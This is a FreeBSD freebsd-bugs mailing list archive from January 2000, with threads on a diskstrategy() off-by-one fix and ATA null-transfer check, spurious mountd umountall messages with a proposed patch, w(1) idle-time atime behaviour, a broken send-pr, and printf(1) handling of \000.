by GNATS. From: Poul-Henning Kamp To: peter.jeremy@alcatel.com.au Cc: freefall-gnats@gsmx07.alcatel.com.au Subject: Re: kern/15956: Off-by-1 error in diskstrategy() triggers bug in ATA Date: Fri, 7 Jan 2000 22:57:35 +1100 In message <00Jan7.095115est.40327@border.alcanet.com.au>, peter.jeremy@alcatel .com.au writes: >Index: subr_disk.c >=================================================================== >RCS file: /home/CVSROOT/src/sys/kern/subr_disk.c,v >retrieving revision 1.16 >diff -u -r1.16 subr_disk.c >--- subr_disk.c 1999/12/19 12:36:41 1.16 >+++ subr_disk.c 2000/01/06 21:39:34 >@@ -193,7 +193,7 @@ > return; > } > >- if (dscheck(bp, dp->d_slice) < 0) { >+ if (dscheck(bp, dp->d_slice) <= 0) { > biodone(bp); > return; > } > > 2) Add belt-and-braces checks to ATA device (this code compiles > and links, but I haven't booted from the resultant kernel): This was actually done that way deliberately, but not for any specific reason. Input welcome... -- Poul-Henning Kamp FreeBSD coreteam member phk@FreeBSD.ORG "Real hackers run -current on their laptop." FreeBSD -- It will take a long time before progress goes too far! To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Fri Jan 7 4:27:24 2000 Delivered-To: freebsd-bugs@freebsd.org Received: from freebsd.dk (freebsd.dk [212.242.42.178]) by hub.freebsd.org (Postfix) with ESMTP id 5A9021565C for ; Fri, 7 Jan 2000 04:27:19 -0800 (PST) (envelope-from sos@freebsd.dk) Received: (from sos@localhost) by freebsd.dk (8.9.3/8.9.1) id NAA83738; Fri, 7 Jan 2000 13:17:51 +0100 (CET) (envelope-from sos) From: Soren Schmidt Message-Id: <200001071217.NAA83738@freebsd.dk> Subject: Re: kern/15956: Off-by-1 error in diskstrategy() triggers bug in ATA In-Reply-To: <200001071210.EAA13523@freefall.freebsd.org> from Poul-Henning Kamp at "Jan 7, 2000 04:10:02 am" To: phk@critter.freebsd.dk (Poul-Henning Kamp) Date: Fri, 7 Jan 2000 13:17:51 +0100 (CET) Cc: freebsd-bugs@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL54 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org It seems Poul-Henning Kamp wrote: > >Index: subr_disk.c > >=================================================================== > >RCS file: /home/CVSROOT/src/sys/kern/subr_disk.c,v > >retrieving revision 1.16 > >diff -u -r1.16 subr_disk.c > >--- subr_disk.c 1999/12/19 12:36:41 1.16 > >+++ subr_disk.c 2000/01/06 21:39:34 > >@@ -193,7 +193,7 @@ > > return; > > } > > > >- if (dscheck(bp, dp->d_slice) < 0) { > >+ if (dscheck(bp, dp->d_slice) <= 0) { > > biodone(bp); > > return; > > } > > > > 2) Add belt-and-braces checks to ATA device (this code compiles > > and links, but I haven't booted from the resultant kernel): > > This was actually done that way deliberately, but not for any > specific reason. > > Input welcome... I've put this in the ata drivers: /* if it's a null transfer, return immediatly. */ if (bp->b_bcount == 0) { bp->b_resid = 0; biodone(bp); return; } -Søren To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Fri Jan 7 5:29:18 2000 Delivered-To: freebsd-bugs@freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (Postfix) with ESMTP id 8B52D14DBB; Fri, 7 Jan 2000 05:29:17 -0800 (PST) (envelope-from phantom@FreeBSD.org) Received: (from phantom@localhost) by freefall.freebsd.org (8.9.3/8.9.2) id FAA22005; Fri, 7 Jan 2000 05:29:17 -0800 (PST) (envelope-from phantom@FreeBSD.org) Date: Fri, 7 Jan 2000 05:29:17 -0800 (PST) From: Message-Id: <200001071329.FAA22005@freefall.freebsd.org> To: phantom@FreeBSD.org, freebsd-bugs@FreeBSD.org, phantom@FreeBSD.org Subject: Re: bin/5410: pkg_info options Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Synopsis: pkg_info options Responsible-Changed-From-To: freebsd-bugs->phantom Responsible-Changed-By: phantom Responsible-Changed-When: Fri Jan 7 05:28:48 PST 2000 Responsible-Changed-Why: I have fixed this problem in -CURRENT and will not forget MFC it. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Fri Jan 7 6:46: 3 2000 Delivered-To: freebsd-bugs@freebsd.org Received: from kronos.alcnet.com (kronos.alcnet.com [63.69.28.22]) by hub.freebsd.org (Postfix) with ESMTP id 33F4514FE9 for ; Fri, 7 Jan 2000 06:46:00 -0800 (PST) (envelope-from kbyanc@posi.net) X-Provider: ALC Communications, Inc. http://www.alcnet.com/ Received: from localhost (kbyanc@localhost) by kronos.alcnet.com (8.9.3/8.9.3/antispam) with ESMTP id JAA15020; Fri, 7 Jan 2000 09:45:54 -0500 (EST) Date: Fri, 7 Jan 2000 09:45:54 -0500 (EST) From: Kelly Yancey X-Sender: kbyanc@kronos.alcnet.com To: Jens Schweikhardt Cc: freebsd-bugs@FreeBSD.ORG Subject: Re: bin/15832: the w commands can show a bad result on the idle time In-Reply-To: <200001070940.BAA96650@freefall.freebsd.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Fri, 7 Jan 2000, Jens Schweikhardt wrote: > The following reply was made to PR bin/15832; it has been noted by GNATS. > > From: Jens Schweikhardt > To: freebsd-gnats-submit@FreeBSD.org, admin@ewan.qc.ca > Cc: > Subject: Re: bin/15832: the w commands can show a bad result on the idle time > Date: Fri, 07 Jan 2000 10:32:30 +0100 > > I have discovered the same and tried to investigate > a little (last night at 11pm... so beware). > > The bogus idle time happens on my 3.2-RELEASE system > when I (eg) start a new xterm which needs a new pty, > say /dev/ttypq. If I do not type anything in the new > xterm's shell, /usr/bin/w uses /dev/ttypq's st_atimesec > (as displayed by ls -u /dev/ttypq) > as the last "active" point in time which can well be > beyond the uptime. > > I'm not sure if this is w's fault or if the st_atimesec > of the pty is not properly updated when the pty is used > (opened?). As soon as I run some command in that pty, > everything is okay. > I don't suppose you have the noatime option set for the root filesystem? Kelly -- Kelly Yancey - kbyanc@posi.net - Richmond, VA Analyst / E-business Development, Bell Industries http://www.bellind.com/ Maintainer, BSD Driver Database http://www.posi.net/freebsd/drivers/ Coordinator, Team FreeBSD http://www.posi.net/freebsd/Team-FreeBSD/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Fri Jan 7 8:50:23 2000 Delivered-To: freebsd-bugs@freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (Postfix) with ESMTP id A279614DA3 for ; Fri, 7 Jan 2000 08:50:04 -0800 (PST) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.9.3/8.9.2) id IAA95996; Fri, 7 Jan 2000 08:50:04 -0800 (PST) (envelope-from gnats@FreeBSD.org) Date: Fri, 7 Jan 2000 08:50:04 -0800 (PST) Message-Id: <200001071650.IAA95996@freefall.freebsd.org> To: freebsd-bugs@FreeBSD.org Cc: From: "Crist J. Clark" Subject: Re: bin/14709: umountall requests possibly mishandled by mountd(8) Reply-To: "Crist J. Clark" Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org The following reply was made to PR bin/14709; it has been noted by GNATS. From: "Crist J. Clark" To: freebsd-gnats-submit@FreeBSD.org, cjc@cc942873-a.ewndsr1.nj.home.com Cc: Subject: Re: bin/14709: umountall requests possibly mishandled by mountd(8) Date: Fri, 7 Jan 2000 11:46:47 -0500 (EST) [Sorry for the HTML damage lynx did to this.] > Confidential > no > > Severity > serious > > Priority > medium > > Responsible > freebsd-bugs@FreeBSD.org > > State > closed > > Class > sw-bug > > Submitter-Id > current-users > > Arrival-Date > Thu Nov 4 09:50:00 PST 1999 > > Closed-Date > Sat Dec 18 15:39:26 PST 1999 > > Last-Modified > Sat Dec 18 15:39:26 PST 1999 > > Originator > Crist J. Clark cjc@cc942873-a.ewndsr1.nj.home.com > > Release > FreeBSD 3.3-STABLE i386 > > Environment > > FreeBSD 3.x system with mountd(8) running. > > Description > > Several users have reported (search the -questions mail >archive on the string 'umountall' for a sample) strange messages of >the form, > >mountd[]: umountall request from from unprivileged port > >Where is an IP address of the host (not the loopback, however) >appearing in their messages log. No events taking place on the server >in question seems to correlate the the messages. > > I have been able to build a very strong correlation between >the messages and other computers on the local network being shutdown >(see the mail archives, > >http://www.freebsd.org/cgi/getmsg.cgi?fetch=1737357+1744288+/usr/local/www/db/text/1999/freebsd-questions/19991017.freebsd-questions > >for some examples from my personal logs). > > I believe that when machines broadcast their impending >shutdown to the network, the mountd(8) process produces these >messages. The messages worry me for two reasons, > >(1) The server is reporting a request from _itself_ rather than the > machine in question. This means that the server is either spoofing > itself (very bad) or is trying to talk to itself on an > unpriviliged port and failing (why would it do that?). > >(2) The machine that generates the umountall need not actually have > mounted a filesystem from the server. In fact, in the example I > referenced above, only one of the machines that caused a message > by going down actually had mounted anything from the server. This > _seems_ to say that any machine on the LAN, regardless of > permissions to mount, could possibly exploit any problems that > this message may be hinting to. > > How-To-Repeat > > From my experience and a quick look over other emails on this >topic, all you need is a FreeBSD 3.x machine running mountd(8), then >bring another machine on the network down (there may be ways to >generate the error by doing something less extreme than shutting down >a second machine, but this is when I observe the messages without >fail). > > Fix > > Origin of problem not yet understood. > > > Audit-Trail > >From: Martin Blapp >To: freebsd-gnats-submit@freebsd.org, > cjc@cc942873-a.ewndsr1.nj.home.com >Cc: >Subject: Re: bin/14709: umountall requests possibly mishandled by mountd(8) >Date: Fri, 05 Nov 1999 00:12:53 +0100 > > I've seen this several times on different machines. > Something seems to be very wrong here. I'll look into > this more close because I'm currently do a cleanup > of mountd. > > Thank you for your report > > Martin Blapp > Improware AG, Switzerland > > > >From: Vallo Kallaste >To: "Crist J. Clark" >Cc: FreeBSD-gnats-submit@FreeBSD.ORG >Subject: Re: bin/14709: umountall requests possibly mishandled by mountd(8) >Date: Fri, 5 Nov 1999 07:53:27 +0200 > > On Thu, Nov 04, 1999 at 12:42:38PM -0500, "Crist J. Clark" dsr1.nj.home.com> wrote: > > > > > >Number: 14709 > > >Category: bin > > >Synopsis: umountall requests possibly mishandled by mountd(8) > > >Confidential: no > > >Severity: serious > > >Priority: medium > > >Responsible: freebsd-bugs > > >State: open > > >Quarter: > > >Keywords: > > >Date-Required: > > >Class: sw-bug > > >Submitter-Id: current-users > > >Arrival-Date: Thu Nov 4 09:50:00 PST 1999 > > >Closed-Date: > > >Last-Modified: > > >Originator: Crist J. Clark > > >Release: FreeBSD 3.3-STABLE i386 > > >Organization: > > >Environment: > > > > FreeBSD 3.x system with mountd(8) running. > > > > >Description: > > > > Several users have reported (search the -questions mail > > archive on the string 'umountall' for a sample) strange messages of > > the form, > > > > mountd[]: umountall request from from unprivileged port > > > > Where is an IP address of the host (not the loopback, however) > > appearing in their messages log. No events taking place on the server > > in question seems to correlate the the messages. > > > > I have been able to build a very strong correlation between > > the messages and other computers on the local network being shutdown > > (see the mail archives, > > > > http://www.freebsd.org/cgi/getmsg.cgi?fetch=1737357+1744288+/usr/local/www/db/text/1999/freebsd-questions/19991017.freebsd-questions > > > > for some examples from my personal logs). > > I've seen such behavior with -current systems as well. Here's what I > have seen: > > Oct 5 22:07:11 myhakas mountd[150]: umountall request from 194.126.114.87 from unprivileged port > Oct 8 20:07:38 myhakas mountd[149]: umountall request from 194.126.114.87 from unprivileged port > Oct 8 21:34:30 myhakas mountd[149]: umountall request from 194.126.114.87 from unprivileged port > Oct 8 23:24:50 myhakas mountd[149]: umountall request from 194.126.114.87 from unprivileged port > Nov 2 20:02:32 myhakas mountd[150]: umountall request from 194.126.114.87 from unprivileged port > Nov 3 09:00:48 myhakas mountd[150]: umountall request from 194.126.114.87 from unprivileged port > > The NFS server machine is running -current and serves 3.3-STABLE and one > Solaris 2.6 box. > -- > > Vallo Kallaste > vallo@matti.ee > > >From: Martin Blapp >To: freebsd-gnats-submit@freebsd.org, > cjc@cc942873-a.ewndsr1.nj.home.com >Cc: >Subject: Re: bin/14709: umountall requests possibly mishandled by mountd(8) >Date: Sat, 06 Nov 1999 12:57:40 +0000 > > From RFC 1813 : > --------------- > > 5.2.4 Procedure 4: UMNTALL - Remove all mount entries > > SYNOPSIS > > void MOUNTPROC3_UMNTALL(void) = 4; > > DESCRIPTION > > Procedure UMNTALL removes all of the mount entries for > this client previously recorded by calls to MNT. AUTH_UNIX > authentication or better is required. > > IMPLEMENTATION > > This procedure should be used by clients when they are > recovering after a system shutdown. If the client could > not successfully unmount all of its file systems before > being shutdown or the client crashed because of a software > or hardware problem, there may be servers which still have > mount entries for this client. This is an easy way for the > client to inform all servers at once that it does not have > any mounted file systems. However, since this procedure > is generally implemented using broadcast RPC, it is only > of limited usefullness. > > ERRORS > > There are no MOUNT protocol errors which can be returned > from this procedure. However, RPC errors may be returned > for authentication or other RPC failures. > > ---------------------------------------------------------------- > > Imagine we have three hosts in our little network: > > A: big server, has nfs-server running. > B: little server, has nfs-client and a nfs-server running. > C: workstation, has only nfs-clients. > > One can make the following conclusions: > > 1. If 'B' has mounted some filesystems from 'A', and 'B' > is being rebooted, mountd(8) from 'B' sends a broadcast > RPC_UMNTALL. The mountd(8) from 'A' should recieve it > and should remove all entries of host 'B' from > /var/db/mountdtab. It seems that our implementation of > rpc.mountd sends the RPC_UMNTALL on a unprivileged > port. If mountd(8) on 'A' is started with '-n', > the RPC_UMNTALL is successful. I'll have to look at > this today. > > 2. Running a NFS-Client does not mean we have a running NFS- > Server on the host. This is the setup for most workstations. > If we shutdown 'C', 'B' doesn't get informed and can not clean > it's /var/db/mountdtab. > > 3. As stated in the RFC, use of broadcast RPC is only of > limited usefullness. > > 4. The _only_ place where a RPC_UMNTALL call does make any sense > is _after_ reboot, but _before_ any new nfs-mounts. > > ---------------------------------------------------------------- > > I propose the following changes to *BSD* : > ------------------------------------------ > > 1. To have two mounttabs in /var/db/: > > /var/db/mountdtab (only for mountd) > /var/db/mounttab (for mount_nfs(8), umount(8)) > > In /var/db/mounttab we record all mounted > nfs-mounts, and if we unmount them, we remove > the entrys. > > 2. Add a command which calls RPC_UMNTALL for all entrys > in /var/db/mounttab during startup before any NFS-mount. > Remember: all remaining entries in /var/db/mounttab are > 'not properly unmounted nfs-mounts'. > > 3. Do not use broadcast RPC anymore, so we can have a time- > out control. We can also use a function like pingnfsserver() > from mount_nfs(8). > > 4. the following patch to mountd(8) > > Index: src/sbin/mountd/mountd.c > =================================================================== > RCS file: /usr/home/ncvs/src/sbin/mountd/mountd.c,v > retrieving revision 1.37 > diff -u -r1.37 mountd.c > --- mountd.c 1999/10/06 18:20:44 1.37 > +++ mountd.c 1999/11/06 11:59:55 > @@ -193,8 +193,6 @@ > void parsecred __P((char *, struct ucred *)); > int put_exlist __P((struct dirlist *, XDR *, struct dirlist *, int > *)); > int scan_tree __P((struct dirlist *, u_int32_t)); > -void send_umntall __P((void)); > -int umntall_each __P((caddr_t, struct sockaddr_in *)); > static void usage __P((void)); > int xdr_dir __P((XDR *, char *)); > int xdr_explist __P((XDR *, caddr_t)); > @@ -313,7 +311,6 @@ > signal(SIGQUIT, SIG_IGN); > } > signal(SIGHUP, (void (*) __P((int))) get_exportlist); > - signal(SIGTERM, (void (*) __P((int))) send_umntall); > { FILE *pidfile = fopen(_PATH_MOUNTDPID, "w"); > if (pidfile != NULL) { > fprintf(pidfile, "%d\n", getpid()); > @@ -2081,26 +2078,6 @@ > } > fprintf(mlfile, "%s %s\n", mlp->ml_host, mlp->ml_dirp); > fclose(mlfile); > -} > - > -/* > - * This function is called via. SIGTERM when the system is going down. > - * It sends a broadcast RPCMNT_UMNTALL. > - */ > -void > -send_umntall() > -{ > - (void) clnt_broadcast(RPCPROG_MNT, RPCMNT_VER1, RPCMNT_UMNTALL, > - xdr_void, (caddr_t)0, xdr_void, (caddr_t)0, > umntall_each); > - exit(0); > -} > - > -int > -umntall_each(resultsp, raddr) > - caddr_t resultsp; > - struct sockaddr_in *raddr; > -{ > - return (1); > } > > /* > > This would solve all the strange error-messages we have seen from > mountd(8) and leads also to proper handling of /var/db/mountdtab. > > Martin Blapp > Improware AG, Pratteln, Switzerland > > >From: Martin Blapp >To: freebsd-gnats-submit@freebsd.org, > cjc@cc942873-a.ewndsr1.nj.home.com >Cc: >Subject: Re: bin/14709: umountall requests possibly mishandled by mountd(8) >Date: Tue, 09 Nov 1999 20:47:21 +0100 > > Hello, > > These are the patches and a new command which should do exactly > what RFC 1813 proposes: > > http://www.attic.ch/patches/cleanmount/ > > Please test them and report any problems to me. If you find a better > name for cleanmount(8) I would be happy. > > Martin Blapp > Improware AG, Pratteln, Switzerland > > >State-Changed-From-To: open->closed >State-Changed-By: green >State-Changed-When: Sat Dec 18 15:39:03 PST 1999 >State-Changed-Why: >This has been fixed in -CURRENT and 3.3/3.4. Not so fast. Jan 5 18:59:43 backmail mountd[144]: umountall request from 192.168.229.3 from unprivileged port Jan 7 08:22:00 backmail mountd[144]: umountall request from 192.168.229.3 from unprivileged port Jan 7 09:18:25 backmail mountd[144]: umountall request from 192.168.229.3 from unprivileged port It still is griping about umountall requests coming from itself. # uname -a FreeBSD backmail.mydom.org 3.4-STABLE FreeBSD 3.4-STABLE #0: Tue Dec 21 14:23:45 EST 1999 postman@backmail.mydom.org:/u1/FreeBSD-3S/src/sys/compile/BACKMAIL i386 -- Crist J. Clark cjclark@home.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Fri Jan 7 9: 0: 5 2000 Delivered-To: freebsd-bugs@freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (Postfix) with ESMTP id 9AAC81583A for ; Fri, 7 Jan 2000 09:00:02 -0800 (PST) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.9.3/8.9.2) id JAA96993; Fri, 7 Jan 2000 09:00:02 -0800 (PST) (envelope-from gnats@FreeBSD.org) Received: by hub.freebsd.org (Postfix, from userid 32767) id 522F115801; Fri, 7 Jan 2000 08:52:19 -0800 (PST) Message-Id: <20000107165219.522F115801@hub.freebsd.org> Date: Fri, 7 Jan 2000 08:52:19 -0800 (PST) From: nkazushi@highway.ne.jp To: freebsd-gnats-submit@FreeBSD.org X-Send-Pr-Version: www-1.0 Subject: bin/15968: "send-pr" does'nt work Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org >Number: 15968 >Category: bin >Synopsis: "send-pr" does'nt work >Confidential: no >Severity: serious >Priority: high >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Fri Jan 7 09:00:01 PST 2000 >Closed-Date: >Last-Modified: >Originator: NAKAMURA Kazushi >Release: 3.3-RELEASE >Organization: home >Environment: FreeBSD mako.nkazushi.highway.ne.jp 3.3-RELEASE FreeBSD 3.3-RELEASE #0: Tue Jan 4 01:41:23 JST 2000 root@:/usr/src/sys/compile/KOBE i386 >Description: % send-pr send-pr: could not read /usr/share/gnats/xemacs.org for categories list. % >How-To-Repeat: do "send-pr" >Fix: I don't know. >Release-Note: >Audit-Trail: >Unformatted: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Fri Jan 7 9:30: 7 2000 Delivered-To: freebsd-bugs@freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (Postfix) with ESMTP id AAFB8157DC for ; Fri, 7 Jan 2000 09:30:03 -0800 (PST) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.9.3/8.9.2) id JAA99887; Fri, 7 Jan 2000 09:30:03 -0800 (PST) (envelope-from gnats@FreeBSD.org) Date: Fri, 7 Jan 2000 09:30:03 -0800 (PST) Message-Id: <200001071730.JAA99887@freefall.freebsd.org> To: freebsd-bugs@FreeBSD.org Cc: From: Kelly Yancey Subject: Re: bin/15832: the w commands can show a bad result on the idle time Reply-To: Kelly Yancey Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org The following reply was made to PR bin/15832; it has been noted by GNATS. From: Kelly Yancey To: Jens Schweikhardt Cc: freebsd-gnats-submit@FreeBSD.org Subject: Re: bin/15832: the w commands can show a bad result on the idle time Date: Fri, 7 Jan 2000 12:28:56 -0500 (EST) > # > # I don't suppose you have the noatime option set for the root filesystem? > > Good point, I'll verify this as soon as I get home. > > But why is it that the st_atime seems to be changed when I type something? > In-core copy of the respective struct stat? > Good point. Scratch that. If the file system was mounted with noatime then it shouldn't be updated at all. The correct answer is that stat(2) documents that the atime field is only updated by the mknod(2), utimes(2) and read(2) system calls. Open(2) doesn't touch atime. What you are seeing is documented behaviour, even if it isn't intuitive. Kelly -- Kelly Yancey - kbyanc@posi.net - Richmond, VA Analyst / E-business Development, Bell Industries http://www.bellind.com/ Maintainer, BSD Driver Database http://www.posi.net/freebsd/drivers/ Coordinator, Team FreeBSD http://www.posi.net/freebsd/Team-FreeBSD/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Fri Jan 7 9:50:10 2000 Delivered-To: freebsd-bugs@freebsd.org Received: from feral.com (feral.com [192.67.166.1]) by hub.freebsd.org (Postfix) with ESMTP id 96127157FC for ; Fri, 7 Jan 2000 09:50:06 -0800 (PST) (envelope-from mjacob@feral.com) Received: from beppo.feral.com (beppo [192.67.166.79]) by feral.com (8.9.3/8.9.3) with ESMTP id JAA22973; Fri, 7 Jan 2000 09:50:03 -0800 Date: Fri, 7 Jan 2000 09:50:01 -0800 (PST) From: Matthew Jacob Reply-To: mjacob@feral.com To: Soren Schmidt Cc: Poul-Henning Kamp , freebsd-bugs@FreeBSD.ORG Subject: Re: kern/15956: Off-by-1 error in diskstrategy() triggers bug in ATA In-Reply-To: <200001071217.NAA83738@freebsd.dk> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=X-UNKNOWN Content-Transfer-Encoding: QUOTED-PRINTABLE Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Uh- this looks like if not a bug in and of itself, covering another bug. On Fri, 7 Jan 2000, Soren Schmidt wrote: > It seems Poul-Henning Kamp wrote: > > >Index: subr_disk.c > > >=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D > > >RCS file: /home/CVSROOT/src/sys/kern/subr_disk.c,v > > >retrieving revision 1.16 > > >diff -u -r1.16 subr_disk.c > > >--- subr_disk.c=091999/12/19 12:36:41=091.16 > > >+++ subr_disk.c=092000/01/06 21:39:34 > > >@@ -193,7 +193,7 @@ > > > =09=09return; > > > =09} > > >=20 > > >-=09if (dscheck(bp, dp->d_slice) < 0) { > > >+=09if (dscheck(bp, dp->d_slice) <=3D 0) { > > > =09=09biodone(bp); > > > =09=09return; > > > =09} > > > > > >=092) Add belt-and-braces checks to ATA device (this code compiles > > >=09 and links, but I haven't booted from the resultant kernel): > > =20 > > This was actually done that way deliberately, but not for any > > specific reason. > > =20 > > Input welcome... >=20 > I've put this in the ata drivers: >=20 > /* if it's a null transfer, return immediatly. */ > if (bp->b_bcount =3D=3D 0) { > bp->b_resid =3D 0; > biodone(bp); > return; > } >=20 > -S=F8ren >=20 >=20 > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-bugs" in the body of the message >=20 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Fri Jan 7 11:30: 4 2000 Delivered-To: freebsd-bugs@freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (Postfix) with ESMTP id 9ECE91576F for ; Fri, 7 Jan 2000 11:30:02 -0800 (PST) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.9.3/8.9.2) id LAA10787; Fri, 7 Jan 2000 11:30:02 -0800 (PST) (envelope-from gnats@FreeBSD.org) Date: Fri, 7 Jan 2000 11:30:02 -0800 (PST) Message-Id: <200001071930.LAA10787@freefall.freebsd.org> To: freebsd-bugs@FreeBSD.org Cc: From: Archie Cobbs Subject: Re: bin/15929: printf(1) truncates if it sees 000 Reply-To: Archie Cobbs Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org The following reply was made to PR bin/15929; it has been noted by GNATS. From: Archie Cobbs To: sheldonh@uunet.co.za (Sheldon Hearn) Cc: FreeBSD-gnats-submit@freebsd.org, bde@whistle.com Subject: Re: bin/15929: printf(1) truncates if it sees 000 Date: Fri, 7 Jan 2000 11:28:27 -0800 (PST) Sheldon Hearn writes: > > But that's not the point, of course. Either the bug should be fixed > > or else at least declared 'normal' and so documented in the man page. > > That's the bit I'm after. What's the bug? From printf(3): > > These functions return the number of characters printed (not including > the trailing `\0' used to end output to strings). > > Presumably, you want some indication in the printf(1) manual page that a > null character in the string terminates it? Or is there something else > you think we can do? Yes, that would be good enough. All I'm saying is that the behavior doesn't match what the man page says. If you forget printf(3), POSIX, etc. and just read the man page, there's nothing in it that says that \000 is in any way special, yet in functionality it is. A simple note in the BUGS section (or wherever) would be just fine with me. -Archie ___________________________________________________________________________ Archie Cobbs * Whistle Communications, Inc. * http://www.whistle.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Fri Jan 7 11:32: 0 2000 Delivered-To: freebsd-bugs@freebsd.org Received: from bubba.whistle.com (bubba.whistle.com [207.76.205.7]) by hub.freebsd.org (Postfix) with ESMTP id DC3B71575B for ; Fri, 7 Jan 2000 11:31:55 -0800 (PST) (envelope-from archie@whistle.com) Received: (from archie@localhost) by bubba.whistle.com (8.9.2/8.9.2) id LAA57370; Fri, 7 Jan 2000 11:30:57 -0800 (PST) From: Archie Cobbs Message-Id: <200001071930.LAA57370@bubba.whistle.com> Subject: Re: bin/15929: printf(1) truncates if it sees 000 In-Reply-To: from Bruce Evans at "Jan 7, 2000 07:00:59 pm" To: bde@zeta.org.au (Bruce Evans) Date: Fri, 7 Jan 2000 11:30:57 -0800 (PST) Cc: sheldonh@uunet.co.za, freebsd-bugs@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL54 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Bruce Evans writes: > > > > $ printf 'a\000truncated\n' > > > > > > > > This outputs "a" instead of "atruncated" > > > > > > What would you expect to happen, given that printf(3) exhibits the same > > > behaviour? > > > > No, I'm not at all surprised. > > > > But that's not the point, of course. Either the bug should be fixed > > or else at least declared 'normal' and so documented in the man page. > > printf(1) does seem to be incompatible with printf(3) here. From a POSIX > draft: > > (3) In addition to the escape sequences shown in Table 2-15 (see > 2.12), \ddd, where ddd is a one-, two-, or three-digit octal > number, shall be written as a byte with the numeric value > specified by the octal number. > converted string shall be written. > > There seems to be no special case for the escape sequence \000. I think > this is a bug in the POSIX draft. In C, printf(3) would never see the > escape sequence \000; it would see a hard \0. You would have to use %c > format to print a hard \0. In fact, there seems to be no way to print a NUL character using printf(1), which is why I got stuck in the first place. If you try ``printf "%c" 0'' then you get '0' instead of NUL. If you try ``printf "\000"'' then you get the empty string. -Archie ___________________________________________________________________________ Archie Cobbs * Whistle Communications, Inc. * http://www.whistle.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Fri Jan 7 12:53: 2 2000 Delivered-To: freebsd-bugs@freebsd.org Received: from mail.imp.ch (mail.imp.ch [157.161.1.2]) by hub.freebsd.org (Postfix) with ESMTP id 8B6A314C99 for ; Fri, 7 Jan 2000 12:52:57 -0800 (PST) (envelope-from mb@imp.ch) Received: from mephisto.imp.ch (mb@mephisto.imp.ch [157.161.1.22]) by mail.imp.ch (8.9.3/8.9.3) with ESMTP id VAA00274; Fri, 7 Jan 2000 21:52:47 +0100 (MET) Received: from localhost (mb@localhost) by mephisto.imp.ch (8.9.3/8.9.3) with ESMTP id VAA18052; Fri, 7 Jan 2000 21:52:45 +0100 (MEZ) Date: Fri, 7 Jan 2000 21:52:45 +0100 From: Martin Blapp To: cjc@cc942873-a.ewndsr1.nj.home.com Cc: freebsd-bugs@FreeBSD.org Subject: Re: bin/14709: umountall requests possibly mishandled by mountd(8) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Hi, > Not so fast. > > Jan 7 09:18:25 backmail mountd[144]: umountall request from > 192.168.229.3 from unprivileged port > > It still is griping about umountall requests 